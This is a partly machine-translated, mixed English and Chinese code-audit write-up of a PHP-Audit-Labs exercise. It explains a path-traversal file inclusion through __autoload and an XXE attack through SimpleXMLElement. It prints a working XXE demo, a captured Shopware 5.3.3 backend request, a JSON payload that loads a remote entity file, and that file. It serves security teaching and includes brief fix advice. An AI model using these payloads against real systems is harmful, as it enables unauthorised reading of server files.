He began to practice [red] team of PHP-Audit-Labs code audit Day3
link: https://github.com/hongriSec/PHP-Audit-Labs
interested students can go to Exercise
Prior knowledge:
content title comes from PHP SECURITY 2017 CALENDAR
Day. 3 - Snow Flake code is as follows:
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
Vulnerability Analysis:
There are two security vulnerabilities in the code.
第一个漏洞是文件包含漏洞
, The code 第8行
used in class_exists()
function to pass over the user determines whether there is a controller,
if (class_exists($controllerName)) {
By default, if there is a program __autoload
function, then use class_exists()
it will automatically call this program function __autoload
function, this file inclusion vulnerability in question appeared in this place. An attacker can use a path through the ( details ) to include arbitrary files, of course, the premise is to use a path through the symbols PHP5~5.3(包含5.3版本)
can only be between versions.例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容
class_exists () function is defined:
Features:
(The PHP. 4, the PHP. 5, the PHP. 7)
class_exists - checks whether the class has been defined
definition:
class_exists ( string $class_name [, bool $autoload = true ] ) : bool
If a class_name
class has been defined within the meaning of, this function returns TRUE
, otherwise it returns FALSE
.
Description:
parameter | Explanation |
---|---|
class_name | Class name. Matching names are case-insensitive in. |
autoload | Whether the default call __autoload. |
第二个漏洞
: In the code line 9,
$controller = new $controllerName($data['t'], $data['v']);
我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数,我们也可以使用PHP的内置类 SimpleXMLElement
来进行 XXE攻击,进而读取目标文件的内容,甚至命令执行(前提是安装了PHP拓展插件expect
)。
SimpleXMLElement 类的定义:
功能:
(PHP 5, PHP 7)
用来表示XML文档中的元素,为PHP的内置类。
关于 SimpleXMLElement
导致的XXE
攻击,下面再给出一个demo案例,方便大家理解:
<?php
$xml=<<<eof
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY[
<! ENTITY xxe SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/array/flag.txt">
]>
<x>&xxe;</x>
eof;
$xml_class=new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>
//运行结果:
//object(SimpleXMLElement)#1 (1){[0]=> string(17) "flag{aaa_xxx_bbb}"}
实例分析:
Shopware 5.3.3环境折腾了半天装不上,这里就无法复现了。 看看大佬的思路吧
本次实例分析,我们选取的是
Shopware 5.3.3
版本,对SimpleXMLElement
类导致的XXE漏洞
进行分析。
漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
漏洞分析:
我们来看一下本次漏洞的文件,在 engine\Shopware\Controllers\Backend\ProductStream.php
文件中有一个 loadPreviewAction
方法(第6行),其作用是用来预览产品流的详细信息,具体代码如下:
该方法接收从用户传来的参数 sort
,然后传入 Repository
类的 unserialize
方法(如上图第11-14行代码),我们跟进 Repository
类,查看 unserialize
方法的实现。该方法我们可以在 engine\Shopware\Components\ProductStream\Repository.php
文件中找到,代码如下:
可以看到 Repository
类的 unserialize
方法,调用的是 LogawareReflectionHelper
类的 unserialize
方法(如上图第5行代码),该方法我们可以在 engine\Shopware\Components\LogawareReflectionHelper.php
文件中找到,具体代码如下:
这里的 $serialized
就是我们刚刚传入的 sort
(上图第3行),程序分别从 sort
中提取出值赋给 $className
和 $arguments
变量,然后这两个变量被传入 ReflectionHelper
类的createInstanceFromNamedArguments
方法。该方法位于 engine\Shopware\Components\ReflectionHelper.php
文件,具体代码如下:
这里我们关注 第6行 代码,这里创建了一个反射类,而类的名称就是从 $sort
变量来的,可被用户控制利用。继续往下看,在代码第28行处用$newParams
作为参数,创建一个新的实例对象。而这里的 $newParams
是从$arguments[$paramName]
中取值的,$arguments
又是我们可以控制的,因为也是从$sort
变量来,所以我们可以通过这里来实例化一个SimpleXMLElement
类对象,形成一个XXE漏洞。下面,我们来看看具体如何利用这个漏洞。
漏洞利用:
First, we need to log in the background, find a place to call loadPreviewAction interface, it found its calling locations are as follows:
When we click Refresh preview
the button, it will call loadPreviewAction
the method, use BurpSuite capture packets as follows:
GET /shopware520/backend/ProductStream/loadPreview?_dc=1530963660916&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}&conditions={}&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=2 HTTP/1.1
Host: localhost
X-CSRF-Token: IKiwilE7pecuIUmEAJigyg6fVXY6vR
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://localhost/shopware520/backend/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHOPWAREBACKEND=78ghtddjn8n8efpv1cudj6eao0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; goods[cart]=180615151154565652; XDEBUG_SESSION=PHPSTORM
Connection: close
We can see that sort
value {"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}
, so we configured in accordance with its payload format: {"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}
, about the meaning of the payload, can look SimpleXMLElement
like __construct
function definitions, the specific point where
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
xxe.xml content author used was as follows:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>
We payload transmission, and with xdebug debugger, and finally we read the program stores the value in $conditions
a variable, as shown below:
Advice:
Fixed XXE about PHP vulnerability, we can filter (s), such as: ENTITY, SYSTEM, etc. In addition, we can, by way of physical objects from loading XML to prevent XXE Vulnerability (second line below), the specific code as follows:
Epilogue
Thanks again [Red team]